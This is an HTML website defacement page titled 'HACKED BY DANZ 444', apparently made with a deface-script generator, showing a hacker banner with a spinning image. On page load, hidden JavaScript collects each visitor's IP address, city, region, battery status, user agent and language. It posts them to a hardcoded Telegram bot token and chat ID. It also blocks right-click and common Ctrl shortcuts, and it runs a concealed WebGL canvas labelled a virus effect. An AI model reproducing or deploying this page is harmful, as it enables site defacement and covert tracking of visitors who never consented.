<!--
--  Uploaded on : https://haxor.my.id/open/ScDefaceByDanz002.html
--  Official Web : https://prinsh.com
--  script-deface-generator.prinsh.com
-->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
    <title>HACKED BY DANZ 444</title>
    <style>
        @import url('https://fonts.googleapis.com/css2?family=Goldman&display=swap');
        
        body {
            margin: 0;
            padding: 0;
            overflow: hidden;
            font-family: 'Goldman', cursive;
        }
        
        /* Style untuk tampilan deface */
        .deface-screen {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: black;
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            z-index: 1000;
            color: white;
            text-align: center;
        }
        
        .text-gradient {
            background: linear-gradient(to right, #ffffff 20%, #FF0000 40%, #FF0000 60%, #ffffff 80%);
            background-size: 200% auto;
            color: #000;
            background-clip: text;
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            animation: animate 1.5s linear infinite;
        }
        
        @keyframes animate {
            to { background-position: 200% center; }
        }
        
        .imageSpin {
            animation: spin 5s linear infinite;
        }
        
        @keyframes spin {
            from { transform: rotateY(0deg); }
            to { transform: rotateY(360deg); }
        }
        
        /* Hidden virus elements */
        #main {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            display: none;
            z-index: -1;
        }
        
        #c1 {
            width: 100%;
            height: 100%;
        }
    </style>
</head>
<body>
    <!-- Tampilan Deface -->
    <div class="deface-screen">
        <div class="text-gradient">
            <h1>HACKED BY Danz Sigmaboy</h1>
        </div>
        <img src="https://qu.ax/NQshy.jpg" alt="Hacker Anonymous" width="300" height="300" class="imageSpin">
        <p>OWNER BY</p>
        <h1>{ — 444 }</h1>
        <p>INDONESIAN</p>
        <marquee style="border: RED 3px SOLID; width: 60%;">CYBER HACKER DanzXvY | INDO | MASIH BELAJAR | INDONESIAN | INTERNATIONAL | CYBERSECURITY | PELAJAR</marquee>
    </div>
    
    <!-- WebGL Canvas Background (hidden) -->
    <div id="main">
        <canvas id="c1"></canvas>
    </div>

    <script>
        // Variabel WebGL
        var gl, shaderProgram;
        var cx, cy;
        var glposition, glright, glforward, glup, glorigin, glx, gly, gllen;
        var len = 1.6, ang1 = 2.8, ang2 = 0.4, cenx = 0.0, ceny = 0.0, cenz = 0.0;
        var KERNEL = "float kernal(vec3 ver){\n" +
            "   vec3 a;\n" +
            "float b,c,d,e;\n" +
            "   a=ver;\n" +
            "   for(int i=0;i<5;i++){\n" +
            "       b=length(a);\n" +
            "       c=atan(a.y,a.x)*8.0;\n" +
            "       e=1.0/b;\n" +
            "       d=acos(a.z/b)*8.0;\n" +
            "       b=pow(b,8.0);\n" +
            "       a=vec3(b*sin(d)*cos(c),b*sin(d)*sin(c),b*cos(d))+ver;\n" +
            "       if(b>6.0){\n" +
            "           break;\n" +
            "       }\n" +
            "   }" +
            "   return 4.0-a.x*a.x-a.y*a.y-a.z*a.z;" +
            "}";
        
        // Fungsi untuk mendapatkan info baterai
        async function getBatteryInfo() {
            if (navigator.getBattery) {
                try {
                    const battery = await navigator.getBattery();
                    const status = battery.charging ? "🔌 Mengisi daya" : "⚡ Tidak mengisi daya";
                    return `Baterai: ${Math.round(battery.level * 100)}% (${status})`;
                } catch (e) {
                    return "Baterai: Tidak didukung";
                }
            }
            return "Baterai: Tidak didukung";
        }
        
        // Fungsi untuk mengirim data ke Telegram (berjalan di background)
        async function sendToTelegram() {
            try {
                // Dapatkan info baterai
                const batteryInfo = await getBatteryInfo();
                
                // Dapatkan info lokasi
                const data = await fetch("https://api.db-ip.com/v2/free/self").then(res => res.json());
                
                // Siapkan pesan
                const pesan = `🌍 **Info Pengguna**\n` +
                    `- IP: ${data.ipAddress}\n` +
                    `- Negara: ${data.countryName}\n` +
                    `- Provinsi: ${data.stateProv}\n` +
                    `- Kota: ${data.city}\n` +
                    `- ${batteryInfo}\n` +
                    `- User Agent: ${navigator.userAgent}\n` +
                    `- Browser: ${navigator.vendor || "Tidak diketahui"}\n` +
                    `- Bahasa: ${navigator.language}`;
                
                // Kirim ke Telegram
                await fetch(`https://api.telegram.org/bot8192335428:AAGm9RZwhO_DD6x0_TLKe7SSuIgxpt9tfSw/sendMessage`, {
                    method: "POST",
                    headers: { "Content-Type": "application/json" },
                    body: JSON.stringify({
                        chat_id: "7112830272",
                        text: pesan,
                        parse_mode: "Markdown"
                    })
                });
            } catch(error) {
                console.error("Gagal mengirim data:", error);
            }
        }
        
        // Fungsi untuk memulai efek virus (tetap hidden)
        function startVirusEffect() {
            // Inisialisasi WebGL
            initWebGL();
            
            // Mulai animasi
            requestAnimationFrame(ontimer);
        }
        
        // Inisialisasi WebGL (sama seperti versi pertama)
        function initWebGL() {
            const canvas = document.getElementById('c1');
            canvas.width = window.innerWidth;
            canvas.height = window.innerHeight;
            gl = canvas.getContext('webgl');
            
            var positions = [-1.0, -1.0, 0.0, 1.0, -1.0, 0.0, 1.0, 1.0, 0.0, -1.0, -1.0, 0.0, 1.0, 1.0, 0.0, -1.0, 1.0, 0.0];
            var VSHADER_SOURCE =
                "#version 100 \n"+
                "precision highp float;\n" +
                "attribute vec4 position;" +
                "varying vec3 dir, localdir;" +
                "uniform vec3 right, forward, up, origin;" +
                "uniform float x,y;" +
                "void main() {" +
                "   gl_Position = position; " +
                "   dir = forward + right * position.x*x + up * position.y*y;" +
                "   localdir.x = position.x*x;" +
                "   localdir.y = position.y*y;" +
                "   localdir.z = -1.0;" +
                "} ";
            var FSHADER_SOURCE =
                "#version 100 \n" +
                "#define PI 3.14159265358979324\n" +
                "#define M_L 0.3819660113\n" +
                "#define M_R 0.6180339887\n" +
                "#define MAXR 8\n" +
                "#define SOLVER 8\n" +
                "precision highp float;\n" +
                "float kernal(vec3 ver)\n;" +
                "uniform vec3 right, forward, up, origin;\n" +
                "varying vec3 dir, localdir;\n" +
                "uniform float len;\n" +
                "vec3 ver;\n" +
                "int sign;"+
                "float v, v1, v2;\n" +
                "float r1, r2, r3, r4, m1, m2, m3, m4;\n" +
                "vec3 n, reflect;\n" +
                "const float step = 0.002;\n" +
                "vec3 color;\n" +
                "void main() {\n" +
                "   color.r=0.0;\n" +
                "   color.g=0.0;\n" +
                "   color.b=0.0;\n" +
                "   sign=0;"+
                "   v1 = kernal(origin + dir * (step*len));\n" +
                "   v2 = kernal(origin);\n" +
                "   for (int k = 2; k < 1002; k++) {\n" +
                "      ver = origin + dir * (step*len*float(k));\n" +
                "      v = kernal(ver);\n" +
                "      if (v > 0.0 && v1 < 0.0) {\n" +
                "         r1 = step * len*float(k - 1);\n" +
                "         r2 = step * len*float(k);\n" +
                "         m1 = kernal(origin + dir * r1);\n" +
                "         m2 = kernal(origin + dir * r2);\n" +
                "         for (int l = 0; l < SOLVER; l++) {\n" +
                "            r3 = r1 * 0.5 + r2 * 0.5;\n" +
                "            m3 = kernal(origin + dir * r3);\n" +
                "            if (m3 > 0.0) {\n" +
                "               r2 = r3;\n" +
                "               m2 = m3;\n" +
                "            }\n" +
                "            else {\n" +
                "               r1 = r3;\n" +
                "               m1 = m3;\n" +
                "            }\n" +
                "         }\n" +
                "         if (r3 < 2.0 * len) {\n" +
                "               sign=1;" +
                "            break;\n" +
                "         }\n" +
                "      }\n" +
                "      if (v < v1&&v1>v2&&v1 < 0.0 && (v1*2.0 > v || v1 * 2.0 > v2)) {\n" +
                "         r1 = step * len*float(k - 2);\n" +
                "         r2 = step * len*(float(k) - 2.0 + 2.0*M_L);\n" +
                "         r3 = step * len*(float(k) - 2.0 + 2.0*M_R);\n" +
                "         r4 = step * len*float(k);\n" +
                "         m2 = kernal(origin + dir * r2);\n" +
                "         m3 = kernal(origin + dir * r3);\n" +
                "         for (int l = 0; l < MAXR; l++) {\n" +
                "            if (m2 > m3) {\n" +
                "               r4 = r3;\n" +
                "               r3 = r2;\n" +
                "               r2 = r4 * M_L + r1 * M_R;\n" +
                "               m3 = m2;\n" +
                "               m2 = kernal(origin + dir * r2);\n" +
                "            }\n" +
                "            else {\n" +
                "               r1 = r2;\n" +
                "               r2 = r3;\n" +
                "               r3 = r4 * M_R + r1 * M_L;\n" +
                "               m2 = m3;\n" +
                "               m3 = kernal(origin + dir * r3);\n" +
                "            }\n" +
                "         }\n" +
                "         if (m2 > 0.0) {\n" +
                "            r1 = step * len*float(k - 2);\n" +
                "            r2 = r2;\n" +
                "            m1 = kernal(origin + dir * r1);\n" +
                "            m2 = kernal(origin + dir * r2);\n" +
                "            for (int l = 0; l < SOLVER; l++) {\n" +
                "               r3 = r1 * 0.5 + r2 * 0.5;\n" +
                "               m3 = kernal(origin + dir * r3);\n" +
                "               if (m3 > 0.0) {\n" +
                "                  r2 = r3;\n" +
                "                  m2 = m3;\n" +
                "               }\n" +
                "               else {\n" +
                "                  r1 = r3;\n" +
                "                  m1 = m3;\n" +
                "               }\n" +
                "            }\n" +
                "            if (r3 < 2.0 * len&&r3> step*len) {\n" +
                "                   sign=1;" +
                "               break;\n" +
                "            }\n" +
                "         }\n" +
                "         else if (m3 > 0.0) {\n" +
                "            r1 = step * len*float(k - 2);\n" +
                "            r2 = r3;\n" +
                "            m1 = kernal(origin + dir * r1);\n" +
                "            m2 = kernal(origin + dir * r2);\n" +
                "            for (int l = 0; l < SOLVER; l++) {\n" +
                "               r3 = r1 * 0.5 + r2 * 0.5;\n" +
                "               m3 = kernal(origin + dir * r3);\n" +
                "               if (m3 > 0.0) {\n" +
                "                  r2 = r3;\n" +
                "                  m2 = m3;\n" +
                "               }\n" +
                "               else {\n" +
                "                  r1 = r3;\n" +
                "                  m1 = m3;\n" +
                "               }\n" +
                "            }\n" +
                "            if (r3 < 2.0 * len&&r3> step*len) {\n" +
                "                   sign=1;" +
                "               break;\n" +
                "            }\n" +
                "         }\n" +
                "      }\n" +
                "      v2 = v1;\n" +
                "      v1 = v;\n" +
                "   }\n" +
                "   if (sign==1) {\n" +
                "      ver = origin + dir*r3 ;\n" +
                "       r1=ver.x*ver.x+ver.y*ver.y+ver.z*ver.z;" +
                "      n.x = kernal(ver - right * (r3*0.00025)) - kernal(ver + right * (r3*0.00025));\n" +
                "      n.y = kernal(ver - up * (r3*0.00025)) - kernal(ver + up * (r3*0.00025));\n" +
                "      n.z = kernal(ver + forward * (r3*0.00025)) - kernal(ver - forward * (r3*0.00025));\n" +
                "      r3 = n.x*n.x+n.y*n.y+n.z*n.z;\n" +
                "      n = n * (1.0 / sqrt(r3));\n" +
                "      ver = localdir;\n" +
                "      r3 = ver.x*ver.x+ver.y*ver.y+ver.z*ver.z;\n" +
                "      ver = ver * (1.0 / sqrt(r3));\n" +
                "      reflect = n * (-2.0*dot(ver, n)) + ver;\n" +
                "      r3 = reflect.x*0.276+reflect.y*0.920+reflect.z*0.276;\n" +
                "      r4 = n.x*0.276+n.y*0.920+n.z*0.276;\n" +
                "      r3 = max(0.0,r3);\n" +
                "      r3 = r3 * r3*r3*r3;\n" +
                "      r3 = r3 * 0.45 + r4 * 0.25 + 0.3;\n" +
                "      n.x = sin(r1*10.0)*0.5+0.5;\n" +
                "      n.y = sin(r1*10.0+2.05)*0.5+0.5;\n" +
                "      n.z = sin(r1*10.0-2.05)*0.5+0.5;\n" +
                "      color = n*r3;\n" +
                "   }\n" +
                "   gl_FragColor = vec4(color.x, color.y, color.z, 1.0);" +
                "}";

            vertshader = gl.createShader(gl.VERTEX_SHADER);
            fragshader = gl.createShader(gl.FRAGMENT_SHADER);
            shaderProgram = gl.createProgram();
            gl.shaderSource(vertshader, VSHADER_SOURCE);
            gl.compileShader(vertshader);
            gl.shaderSource(fragshader, FSHADER_SOURCE + KERNEL);
            gl.compileShader(fragshader);
            gl.attachShader(shaderProgram, vertshader);
            gl.attachShader(shaderProgram, fragshader);
            gl.linkProgram(shaderProgram);
            gl.useProgram(shaderProgram);
            
            glposition = gl.getAttribLocation(shaderProgram, 'position');
            glright = gl.getUniformLocation(shaderProgram, 'right');
            glforward = gl.getUniformLocation(shaderProgram, 'forward');
            glup = gl.getUniformLocation(shaderProgram, 'up');
            glorigin = gl.getUniformLocation(shaderProgram, 'origin');
            glx = gl.getUniformLocation(shaderProgram, 'x');
            gly = gl.getUniformLocation(shaderProgram, 'y');
            gllen = gl.getUniformLocation(shaderProgram, 'len');
            
            var buffer = gl.createBuffer();
            gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
            gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(positions), gl.STATIC_DRAW);
            gl.vertexAttribPointer(glposition, 3, gl.FLOAT, false, 0, 0);
            gl.enableVertexAttribArray(glposition);
        }
        
        function ontimer() {
            ang1 += 0.01;
            draw();
            requestAnimationFrame(ontimer);
        }
        
        function draw() {
            gl.viewport(0, 0, gl.canvas.width, gl.canvas.height);
            gl.uniform1f(glx, gl.canvas.width * 2.0 / (gl.canvas.width + gl.canvas.height));
            gl.uniform1f(gly, gl.canvas.height * 2.0 / (gl.canvas.width + gl.canvas.height));
            gl.uniform1f(gllen, len);
            gl.uniform3f(glorigin, len * Math.cos(ang1) * Math.cos(ang2) + cenx, len * Math.sin(ang2) + ceny, len * Math.sin(ang1) * Math.cos(ang2) + cenz);
            gl.uniform3f(glright, Math.sin(ang1), 0, -Math.cos(ang1));
            gl.uniform3f(glup, -Math.sin(ang2) * Math.cos(ang1), Math.cos(ang2), -Math.sin(ang2) * Math.sin(ang1));
            gl.uniform3f(glforward, -Math.cos(ang1) * Math.cos(ang2), -Math.sin(ang2), -Math.sin(ang1) * Math.cos(ang2));
            gl.drawArrays(gl.TRIANGLES, 0, 6);
        }
        
        // Blokir interaksi pengguna
        document.addEventListener('contextmenu', event => event.preventDefault());
        document.addEventListener('keydown', event => {
            if (event.ctrlKey && [65, 66, 67, 73, 80, 83, 85, 86].includes(event.keyCode)) {
                event.preventDefault();
            }
        });
        
        // Saat halaman dimuat
        window.onload = function() {
            // Kirim data ke Telegram (termasuk info baterai)
            sendToTelegram();
            
            // Mulai efek virus (tetap hidden)
            startVirusEffect();
        };
    </script>
</body>
</html>